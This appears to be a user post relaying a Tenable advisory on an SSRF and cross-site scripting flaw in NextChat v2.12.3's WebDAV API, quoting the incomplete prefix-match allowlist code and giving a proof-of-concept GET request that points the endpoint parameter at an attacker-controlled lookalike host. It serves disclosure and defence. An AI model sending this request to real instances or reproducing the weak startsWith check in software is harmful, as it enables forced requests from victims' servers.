BEWARE : NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.

After installing the Windows version of NextChat my antivirus/internet securiy flagged a serious warning which led to discovering the following;

https://www.tenable.com/security/research/tra-2024-23

Synopsis
NextChat v2.12.3 suffers from a Server-Side Request Forgery (SSRF) and Cross-Site Scripting vulnerability due to a lack of validation of the GET parameter on the WebDav API endpoint.

The vulnerability exists because of the following [code snippet](https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web/blob/b6735bffe4e2a79dc4aba6667a4faa7b8c1b3677/app/api/webdav/%5B...path%5D/route.ts#L28) :

// Validate the endpoint to prevent potential SSRF attacks
if (
!mergedAllowedWebDavEndpoints.some(
(allowedEndpoint) => endpoint?.startsWith(allowedEndpoint),
)
)
This check seems incomplete because it validates if the URL specified in the endpoint GET parameter starts with the URL declared in the following [file](https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web/blob/b6735bffe4e2a79dc4aba6667a4faa7b8c1b3677/app/constant.ts#L205) :

export const internalAllowedWebDavEndpoints = [
"https://dav.jianguoyun.com/dav/",
"https://dav.dropdav.com/",
"https://dav.box.com/dav",
"https://nanao.teracloud.jp/dav/",
"https://bora.teracloud.jp/dav/",
"https://webdav.4shared.com/",
"https://dav.idrivesync.com",
"https://webdav.yandex.com",
"https://app.koofr.net/dav/Koofr",
];
Some allowed URLs do not enforce the trailing slash or a specific folder, allowing an attacker to forge a valid URL which can then pass through the SSRF verification and trigger an arbitrary HTTPS call from the vulnerable instance.

Proof Of Concept:

In order to reproduce the issue, it is possible to create an attacker-controller hostname like webdav.yandex.com.attacker.tld and perform the following HTTP request :

GET /api/webdav/chatgpt-next-web/backup.json?endpoint=https://webdav.yandex.com.attacker.tld/ HTTP/1.1
Host: VULNERABLE_NEXTCHAT_INSTANCE
User-Agent: Mozilla
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
The vulnerable instance will then issue a HTTPS request to https://webdav.yandex.com.attacker.tld.